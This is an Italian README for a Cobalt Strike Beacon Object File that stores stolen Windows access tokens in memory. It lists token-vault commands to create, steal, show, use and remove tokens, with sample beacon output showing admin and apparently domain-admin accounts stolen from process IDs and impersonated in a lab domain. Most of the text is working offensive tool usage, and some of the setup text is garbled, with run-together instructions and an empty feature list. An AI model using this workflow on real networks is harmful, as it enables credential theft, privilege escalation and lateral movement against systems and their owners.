
Vault di token in memoria BOF per Cobalt Strike
Questo Beacon Object File (BOF) crea una memoria in-memory per i token di accesso Windows rubati/duplicati, consentendoti di:
make all.token-vault.cna nel tuo client Cobalt Strike.beacon> help token-vault
Available Commands:
Create a new token vault: token-vault create
Steal and store tokens: token-vault steal <comma separated list of PIDs> [vault-id]
Use the stored token: token-vault use <token-id> [vault-id]
Show the stored tokens: token-vault show [vault-id]
Remove the stored token: token-vault remove <token-id> [vault-id]
Remove all tokens: token-vault remove-all [vault-id]
Set the default token vault: token-vault set <vault-id>
Il comando token-vault create alloca un vault vuoto dall'heap del beacon.
L'output ricevuto contiene l'indirizzo di memoria del vault (ovvero l'ID del vault), che viene utilizzato per specificare il vault negli altri comandi token-vault.
beacon> token-vault create
[*] Token Vault - create (@henkru)
[+] host called home, sent: 2991 bytes
[+] received output:
token vault created: 0000000000C31610
Inoltre, un ID di vault specifico può essere impostato come vault predefinito, utilizzato se un comando token-vault non include l'ID del vault.
beacon> token-vault set 0000000000C31610
È importante notare che i vault predefiniti configurati risiedono all'interno del client Cobalt Strike e non sono condivisi tra i client.
Il comando token-vault steal duplica i token dei processi indicati e li memorizza nel vault.
beacon> token-vault steal 6600,2608,5248
[*] Token Vault - steal (@henkru)
[+] host called home, sent: 3009 bytes
[+] received output:
6600: WINLAB\limited
[+] received output:
2608: WINLAB\limited2
[+] received output:
5248: WINLAB\admin
beacon> token-vault show
[*] Token Vault - show (@henkru)
[+] host called home, sent: 2999 bytes
[+] received output:
5248: WINLAB\admin
2608: WINLAB\limited2
6600: WINLAB\limited
Il comando token-vault use impersona un token dal vault. Se il token non esiste, verrà sottratto e memorizzato nel vault.
beacon> token-vault use 2608
[*] Token Vault - use (@henkru)
[+] host called home, sent: 3001 bytes
[+] Impersonated WINLAB\limited
beacon> token-vault use 6384
[*] Token Vault - use (@henkru)
[+] host called home, sent: 3001 bytes
[-] token of 6384 not in the vault; try to get it.
[+] received output:
6384: WINLAB\da
[+] Impersonated WINLAB\da
Il comando token-vault remove rimuove un token memorizzato dal vault.
beacon> token-vault remove 6600
[*] Token Vault - remove (@henkru)
[+] host called home, sent: 3001 bytes
[+] received output:
removed: 6600
Inoltre, il comando token-vault remove-all rimuove tutti i token in una volta sola.